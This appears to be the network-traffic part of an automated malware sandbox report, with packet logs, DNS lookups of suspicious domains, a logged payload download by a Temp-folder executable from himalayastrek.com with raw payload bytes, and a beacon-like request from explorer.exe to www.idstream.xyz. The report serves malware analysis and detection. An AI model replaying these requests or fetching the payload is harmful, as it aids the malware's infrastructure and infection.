                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.968739986 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.007563114 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.007709980 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.084908009 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.085064888 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.124552011 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.124706984 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.201766014 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.201848030 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.241388083 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.241605997 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.318917036 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.319134951 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.358273029 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.358386040 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.435800076 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.435991049 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.475338936 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.475433111 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.517607927 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.517685890 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.552870989 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.552970886 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.633714914 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.633785963 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.669914961 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.669991016 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.709651947 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.709738016 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.751394987 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.751530886 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.826647997 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.826745033 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.867840052 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.867976904 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.868680954 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.868736982 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.943730116 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.943926096 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.984904051 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.984988928 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.985694885 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:11.985759974 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.060858965 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.061026096 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.102169037 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.102344990 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.102720022 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.102797031 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.178256989 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.178337097 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.219036102 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.219192028 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.219638109 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.219702959 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.255179882 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.255287886 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.336096048 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.336241961 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.336931944 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.337007999 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.372230053 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.372315884 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.453505039 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.453629017 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.453759909 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.453783035 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.453810930 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.453838110 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.454543114 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.454634905 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.529169083 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.529341936 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.576236963 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.576406956 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.576658010 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.576724052 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.577374935 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.577441931 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.693255901 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.693361044 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.693682909 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.693820953 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.694511890 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.694590092 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.723572969 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.723696947 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.810496092 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.810604095 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.811086893 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.811167955 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.811939001 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.812014103 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.840440989 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.840723038 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.927779913 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.927886009 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.928044081 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.928081036 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.928174019 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.928495884 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.928692102 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.957639933 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.957860947 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.997538090 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:12.997716904 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.044780970 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.044939041 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.045563936 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.045655966 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.045799017 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.045876026 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.077321053 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.077470064 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.161513090 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.161722898 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.162115097 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.162209034 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.162803888 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.162873030 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.191370010 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.191515923 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.231688976 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.231825113 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.279153109 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.279334068 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.280051947 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.280086994 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.280128002 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.280138016 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.280150890 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.280179977 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.308643103 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.308772087 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.348388910 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.348469019 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.395776987 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.395872116 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.396428108 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.396507978 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.397018909 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.397082090 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.425657988 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.425762892 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.465385914 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.465581894 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.512861967 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.513010979 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.513297081 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.513362885 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.513855934 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.513922930 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.542382002 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.542500973 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.542754889 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.542821884 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.629776955 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.629858017 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.629895926 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.629949093 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.629960060 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.630000114 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.630074978 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.630125046 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.635662079 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.635683060 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.635698080 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:13.635704041 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.394233942 CET5760180192.168.2.6178.128.81.239
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.399668932 CET8057601178.128.81.239192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.399764061 CET5760180192.168.2.6178.128.81.239
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.399821043 CET5760180192.168.2.6178.128.81.239
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.405237913 CET8057601178.128.81.239192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.903354883 CET5760180192.168.2.6178.128.81.239
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.956449032 CET8057601178.128.81.239192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:05:37.123272896 CET8057601178.128.81.239192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:05:37.123357058 CET5760180192.168.2.6178.128.81.239

                                                                                                                                                                                                                                UDP Packets

                                                                                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.588406086 CET5080253192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.596661091 CET53508021.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:26.191529989 CET53623541.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:55.967619896 CET5644853192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:04:55.983067989 CET53564481.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:05:15.747400999 CET6253253192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:05:15.758403063 CET53625321.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.013559103 CET6429453192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.393184900 CET53642941.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:05:56.391324043 CET5900153192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:05:56.404005051 CET53590011.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:06:16.795902014 CET5984553192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:06:16.809765100 CET53598451.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:06:37.244817019 CET5899153192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:06:37.276679993 CET53589911.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:06:58.106888056 CET6466653192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:06:58.116803885 CET53646661.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:07:18.531467915 CET5828953192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:07:18.547779083 CET53582891.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:07:38.960011005 CET6254353192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:07:38.970405102 CET53625431.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:08:21.000502110 CET6314753192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:08:21.011996984 CET53631471.1.1.1192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:08:43.184501886 CET5433753192.168.2.61.1.1.1
                                                                                                                                                                                                                                Oct 30, 2024 08:08:43.193962097 CET53543371.1.1.1192.168.2.6

                                                                                                                                                                                                                                DNS Queries

                                                                                                                                                                                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.588406086 CET192.168.2.61.1.1.10x9143Standard query (0)himalayastrek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:04:55.967619896 CET192.168.2.61.1.1.10xe8a7Standard query (0)www.acaxtecameralcarers.cfdA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:05:15.747400999 CET192.168.2.61.1.1.10x179fStandard query (0)www.ound-qlhmm.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.013559103 CET192.168.2.61.1.1.10xa772Standard query (0)www.idstream.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:05:56.391324043 CET192.168.2.61.1.1.10xf24cStandard query (0)www.specially-smou.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:06:16.795902014 CET192.168.2.61.1.1.10xebacStandard query (0)www.zpp-at.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:06:37.244817019 CET192.168.2.61.1.1.10x4342Standard query (0)www.byataltatweer.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:06:58.106888056 CET192.168.2.61.1.1.10x6ce9Standard query (0)www.ranxxletzz.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:07:18.531467915 CET192.168.2.61.1.1.10xe6c5Standard query (0)www.ixedcontainerlogistics.todayA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:07:38.960011005 CET192.168.2.61.1.1.10xb2a4Standard query (0)www.kimosskrupulslacker.cfdA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:08:21.000502110 CET192.168.2.61.1.1.10x6179Standard query (0)www.ise-bjnh.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:08:43.184501886 CET192.168.2.61.1.1.10xbf43Standard query (0)www.jdhfmq.liveA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                DNS Answers

                                                                                                                                                                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.596661091 CET1.1.1.1192.168.2.60x9143No error (0)himalayastrek.com50.116.93.185A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:04:55.983067989 CET1.1.1.1192.168.2.60xe8a7Name error (3)www.acaxtecameralcarers.cfdnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:05:15.758403063 CET1.1.1.1192.168.2.60x179fName error (3)www.ound-qlhmm.xyznonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.393184900 CET1.1.1.1192.168.2.60xa772No error (0)www.idstream.xyz178.128.81.239A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:05:56.404005051 CET1.1.1.1192.168.2.60xf24cName error (3)www.specially-smou.xyznonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:06:16.809765100 CET1.1.1.1192.168.2.60xebacName error (3)www.zpp-at.xyznonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:06:37.276679993 CET1.1.1.1192.168.2.60x4342Name error (3)www.byataltatweer.netnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:06:58.116803885 CET1.1.1.1192.168.2.60x6ce9Name error (3)www.ranxxletzz.xyznonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:07:18.547779083 CET1.1.1.1192.168.2.60xe6c5Name error (3)www.ixedcontainerlogistics.todaynonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:07:38.970405102 CET1.1.1.1192.168.2.60xb2a4Name error (3)www.kimosskrupulslacker.cfdnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:08:21.011996984 CET1.1.1.1192.168.2.60x6179Name error (3)www.ise-bjnh.xyznonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                Oct 30, 2024 08:08:43.193962097 CET1.1.1.1192.168.2.60xbf43Name error (3)www.jdhfmq.livenonenoneA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                HTTP Request Dependency Graph

                                                                                                                                                                                                                                • himalayastrek.com
                                                                                                                                                                                                                                • www.idstream.xyz

                                                                                                                                                                                                                                HTTP Packets

                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                0192.168.2.657601178.128.81.239804004C:\Windows\explorer.exe
                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                Oct 30, 2024 08:05:36.399821043 CET179OUTGET /f29s/?K0D4DF=m5h39RLwl31LXRPRmTSXP9eLYqfjoOrpkihnF09uNo6H/5I9WBh+KA30PPZTUfl/TnSCsLUw0A==&YBZTY=wPDP7JgPANGdLZ7 HTTP/1.1
                                                                                                                                                                                                                                Host: www.idstream.xyz
                                                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                                                Data Raw: 00 00 00 00 00 00 00
                                                                                                                                                                                                                                Data Ascii:


                                                                                                                                                                                                                                HTTPS Proxied Packets

                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                0192.168.2.64971050.116.93.1854433544C:\Users\user\AppData\Local\Temp\x.exe
                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                2024-10-30 07:04:10 UTC172OUTGET /stein/233_Lvvgdeojree HTTP/1.1
                                                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                                                Accept: */*
                                                                                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                Host: himalayastrek.com
                                                                                                                                                                                                                                2024-10-30 07:04:10 UTC209INHTTP/1.1 200 OK
                                                                                                                                                                                                                                Date: Wed, 30 Oct 2024 07:04:10 GMT
                                                                                                                                                                                                                                Server: Apache
                                                                                                                                                                                                                                Upgrade: h2,h2c
                                                                                                                                                                                                                                Connection: Upgrade, close
                                                                                                                                                                                                                                Last-Modified: Tue, 29 Oct 2024 09:59:18 GMT
                                                                                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                                                                                Content-Length: 659168
                                                                                                                                                                                                                                2024-10-30 07:04:10 UTC7983INData Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 58 4a 68 77 58 46 42 49 56 46 78 73 56 46 68 67 4f 45 42 49 67 46 43 55 6a 4a 68 6b 59 45 52 77 6a 44 79 4d 63 4a 53 55 68 4a 68 4d 64 44 68 73 63 48 79 45 50 45 78 67 59 45 53 4d 54 45 78 34 63 44 68 4d 51 49 68 49 63 47 61 61 75 70 56 6b 6a 70 37 46 4c 56 79 4d 6a 46 42 45 53 48 42 63 66 45 68 4b 6d 72 71 56 5a 49 36 65 78 53 32 70 35 5a 32 70 66 58 57 68 71 5a 6d 68 70 61 32 46 6a 58 58 4e 66 65 47 35 35 5a 47 74 63 5a 32 35 69 62 6d 64 34 65 47 78 35 58 6e 42 68 5a 6d 64 79 62 47 4a 65 61 32 74 63 62 6c 35 65 63 57 64 68 58 6d 4e 74 58 57 64 6b 61 6e 6c 6e 61 6c 39 64 61 47 70 6d 61 47 6c 72 59 57 4e 64 63 31 39 34 62 6e 6c 6b 61 31 78 6e 62 6d 4a 75 5a 33 68 34 62 48 6c 65 63 47 46 6d 5a 33 4a 73 59 6c 35 72 61 31 78
